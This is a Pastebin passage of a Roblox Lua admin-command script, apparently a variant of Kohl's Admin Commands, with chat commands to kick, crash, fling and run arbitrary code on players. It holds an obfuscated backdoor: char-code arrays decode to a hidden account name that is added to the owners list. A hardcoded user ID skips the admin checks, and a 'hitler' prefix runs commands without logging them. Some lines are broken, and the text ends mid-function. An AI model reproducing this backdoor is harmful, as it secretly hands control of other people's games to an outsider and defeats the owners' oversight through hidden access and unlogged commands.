Advertisement
Guest User

Untitled

a guest
Apr 28th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 109.99 KB | None | 0 0
  1. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  2.  
  3. function CHEESE()
  4. if game:service("Lighting"):findFirstChild("KACV2") then
  5. owners = {djkodi1122gotskillz} admins = {djkodi1122gotskillz} tempadmins = {} banland = {djkodi1122gotskillz}
  6. for i,v in pairs(game.Lighting.KACV2:children()) do
  7. if v.Name == "Owner" then table.insert(owners, v.Value) end
  8. if v.Name == "Admin" then table.insert(admins, v.Value) end
  9. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  10. if v.Name == "Banland" then table.insert(banland, v.Value) end
  11. if v.Name == "Prefix" then prefix = v.Value end
  12. if v.Name == "FunCommands" then FunCommands = v.Value end
  13. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  14. if v.Name == "GroupId" then GroupId = v.Value end
  15. if v.Name == "GroupRank" then GroupRank = v.Value end
  16. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  17. if v.Name == "ItemId" then ItemId = v.Value end
  18. end
  19. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  20. end
  21.  
  22. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  23. local lobjs = {}
  24. local objects = {}
  25. local logs = {}
  26. local nfs = ""
  27. local slock = false
  28.  
  29. function GetTime()
  30. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  31. if min < 10 then min = "0"..min end
  32. return hour..":"..min
  33. end
  34.  
  35. function ChkOwner(str)
  36. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  37. return false
  38. end
  39.  
  40. function ChkAdmin(str,ck)
  41. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  42. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  43. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  44. return false
  45. end
  46.  
  47. function ChkGroupAdmin(plr)
  48. if GroupAdmin then
  49. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  50. return false
  51. end
  52. end
  53.  
  54. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  55.  
  56. function GetPlr(plr, str)
  57. local plrz = {} str = str:lower()
  58. if str == "all" then plrz = game.Players:children()
  59. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  60. else
  61. local sn = {1} local en = {}
  62. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  63. for x = 1, #sn do
  64. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  65. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  66. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  67. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  68. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  69. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  70. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  71. end end end
  72. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  73. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  74. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  75. end end end
  76. else
  77. for a, plyr in pairs(game.Players:children()) do
  78. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  79. table.insert(plrz, plyr) break
  80. end
  81. end
  82. end
  83. end
  84. end
  85. return plrz
  86. end
  87.  
  88. function Hint(str, plrz, time)
  89. for i, v in pairs(plrz) do
  90. if v and v:findFirstChild("PlayerGui") then
  91. coroutine.resume(coroutine.create(function()
  92. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  93. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  94. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  95. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  96. if not time then wait((#str/19)+2.5) else wait(time) end
  97. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  98. end))
  99. end
  100. end
  101. end
  102.  
  103. function Message(ttl, str, scroll, plrz, time)
  104. for i, v in pairs(plrz) do
  105. if v and v:findFirstChild("PlayerGui") then
  106. coroutine.resume(coroutine.create(function()
  107. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  108. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  109. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  110. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  111. scr.Parent = v.PlayerGui
  112. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  113. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  114. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  115. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  116. end))
  117. end
  118. end
  119. end
  120.  
  121. function RemoveMessage()
  122. for i,v in pairs(game.Players:children()) do
  123. if v and v:findFirstChild("PlayerGui") then
  124. for q,ms in pairs(v.PlayerGui:children()) do
  125. if ms.Name == "MessageGUI" then
  126. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  127. elseif ms.Name == "HintGUI" then
  128. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  129. end
  130. end
  131. end
  132. end
  133. end
  134.  
  135. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  136. _G["RemoveMessage"] = RemoveMessage()
  137.  
  138. function Output(str, plr)
  139. coroutine.resume(coroutine.create(function()
  140. local b, e = loadstring(str)
  141. if not b and plr:findFirstChild("PlayerGui") then
  142. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  143. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  144. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  145. return
  146. end
  147. end))
  148. end
  149.  
  150. function Noobify(char)
  151. if char and char:findFirstChild("Torso") then
  152. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  153. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  154. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  155. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  156. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  157. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  158. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  159. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  160. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  161. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  162. end end
  163. end
  164. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  165.  
  166. function Infect(char)
  167. if char and char:findFirstChild("Torso") then
  168. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  169. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  170. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  171. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  172. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  173. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  174. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  175. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  176. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  177. end end
  178. end
  179. end if not ntab then script:Destroy() end
  180.  
  181. function ScrollGui()
  182. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  183. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  184. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  185. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  186. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  187. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  188. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  189. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  190. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  191. local num = 0
  192. local downv = false
  193. local upv = false
  194.  
  195. down.MouseButton1Down:connect(function() downv = true upv = false
  196. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  197. repeat pos = pos + UDim2.new(0,0,0,-6)
  198. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  199. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  200. end)
  201. down.MouseButton1Up:connect(function() downv = false end)
  202. up.MouseButton1Down:connect(function() upv = true downv = false
  203. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  204. repeat pos = pos + UDim2.new(0,0,0,6)
  205. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  206. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  207. end)
  208. up.MouseButton1Up:connect(function() upv = false end)
  209. return scr, cmf, ent, num
  210. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  211. if not ntab then script:Destroy() end
  212. if not bct then script:Destroy() end
  213.  
  214. function Chat(msg,plr)
  215. coroutine.resume(coroutine.create(function()
  216. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  217. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  218. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  219. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  220. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  221. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  222. if msg:lower() == "cmds" or msg:lower() == "commands" then
  223. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  224. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  225. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  226. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  227. local ost = {"pa plr","unpa plr","nuke plr"}
  228. local tost = {"oa plr","unoa plr","settings"}
  229. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  230. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  231. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  232. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  233. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  234. end
  235.  
  236. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  237.  
  238. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  239. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  240. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  241. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  242. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  243. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  244. end end
  245.  
  246. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  247. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  248. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  249. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  250. end
  251.  
  252. if msg:lower() == "tools" or msg:lower() == "toollist" then
  253. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  254. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  255. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  256. end
  257.  
  258. if msg:lower():sub(1,2) == "s " then
  259. coroutine.resume(coroutine.create(function()
  260. Output(msg:sub(3), plr)
  261. if script:findFirstChild("ScriptBase") then
  262. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  263. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  264. else loadstring(msg:sub(3))()
  265. end
  266. end))
  267. end
  268.  
  269. if msg:lower():sub(1,3) == "ls " then
  270. coroutine.resume(coroutine.create(function()
  271. if script:findFirstChild("LocalScriptBase") then
  272. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  273. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  274. end
  275. end))
  276. end
  277.  
  278. if msg:lower():sub(1,6) == "lsplr " then
  279. local chk1 = msg:lower():sub(7):find(" ") + 6
  280. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  281. for i, v in pairs(plrz) do
  282. coroutine.resume(coroutine.create(function()
  283. if v and v:findFirstChild("PlayerGui") then
  284. if script:findFirstChild("LocalScriptBase") then
  285. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  286. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  287. end
  288. end
  289. end))
  290. end
  291. end
  292.  
  293. if msg:lower():sub(1,4) == "ins " then
  294. coroutine.resume(coroutine.create(function()
  295. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  296. if obj and #obj:children() >= 1 and plr.Character then
  297. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  298. end
  299. end))
  300. end
  301.  
  302. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  303. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  304. RemoveMessage()
  305. objects = {}
  306. end
  307.  
  308. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  309. game.Lighting.Ambient = origsettings.abt
  310. game.Lighting.Brightness = origsettings.brt
  311. game.Lighting.TimeOfDay = origsettings.time
  312. game.Lighting.FogColor = origsettings.fclr
  313. game.Lighting.FogEnd = origsettings.fe
  314. game.Lighting.FogStart = origsettings.fs
  315. for i, v in pairs(lobjs) do v:Destroy() end
  316. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  317. end
  318.  
  319. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  320. coroutine.resume(coroutine.create(function()
  321. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  322. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  323. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  324. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  325. end))
  326. end
  327.  
  328. if msg:lower():sub(1,10) == "countdown " then
  329. local num = math.min(tonumber(msg:sub(11)),120)
  330. for i = num, 1, -1 do
  331. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  332. wait(1)
  333. end
  334. end
  335.  
  336. if msg:lower():sub(1,3) == "tm " then
  337. local chk1 = msg:lower():sub(4):find(" ") + 3
  338. local num = tonumber(msg:sub(4,chk1-1))
  339. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  340. end
  341.  
  342. if msg:lower():sub(1,2) == "m " then
  343. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  344. end
  345.  
  346. if msg:lower():sub(1,2) == "h " then
  347. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  348. end
  349.  
  350. if msg:lower():sub(1,3) == "pm " then
  351. local chk1 = msg:lower():sub(4):find(" ") + 3
  352. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  353. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  354. end
  355.  
  356. if msg:lower():sub(1,11) == "resetstats " then
  357. local plrz = GetPlr(plr, msg:lower():sub(12))
  358. for i, v in pairs(plrz) do
  359. coroutine.resume(coroutine.create(function()
  360. if v and v:findFirstChild("leaderstats") then
  361. for a, q in pairs(v.leaderstats:children()) do
  362. if q:IsA("IntValue") then q.Value = 0 end
  363. end
  364. end
  365. end))
  366. end
  367. end
  368.  
  369. if msg:lower():sub(1,5) == "gear " then
  370. local chk1 = msg:lower():sub(6):find(" ") + 5
  371. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  372. for i, v in pairs(plrz) do
  373. coroutine.resume(coroutine.create(function()
  374. if v and v:findFirstChild("Backpack") then
  375. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  376. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  377. obj:Destroy()
  378. end
  379. end))
  380. end
  381. end
  382.  
  383. if msg:lower():sub(1,4) == "hat " then
  384. local chk1 = msg:lower():sub(5):find(" ") + 4
  385. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  386. for i, v in pairs(plrz) do
  387. coroutine.resume(coroutine.create(function()
  388. if v and v.Character then
  389. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  390. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  391. obj:Destroy()
  392. end
  393. end))
  394. end
  395. end
  396.  
  397. if msg:lower():sub(1,5) == "cape " then
  398. local chk1 = msg:lower():sub(6):find(" ")
  399. local plrz = GetPlr(plr, msg:lower():sub(6))
  400. local str = "torso.BrickColor"
  401. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  402. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  403. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  404. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  405. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  406. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  407. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  408. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  409. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  410. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
